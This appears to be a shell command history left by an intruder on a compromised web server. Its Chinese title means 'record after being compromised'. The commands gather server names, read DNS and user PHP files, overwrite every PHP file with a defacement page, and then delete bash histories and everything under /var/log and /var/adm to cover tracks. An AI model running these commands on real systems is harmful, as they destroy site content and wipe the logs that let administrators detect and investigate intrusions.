被入侵后的记录

------------------------------------------------------------------
id
find / -name httpd.conf -print | xargs grep ServerName >> /tmp/hosts
cd /etc
ls
cat named.conf
cat named.conf
cat named.conf
cat named.conf
cat named.conf
ls
cd /home
ls
cd shock
ls
cat main.php
ls
cat index.php
find / -name *.php -exec cp /tmp/index.html {} /;
find / -name *.php -exec cp /tmp/index.html {} /;
find / -name *.php -exec cp /tmp/index.html {} /;
w
who
rm -rf /var/adm/*
find / -name .bash_history -exec rm -rf {} /;
rm -rf /root/.bash_history
rm -rf /root/.bash_logout
rm -rf /var/log/*
------------------------------------------------------------------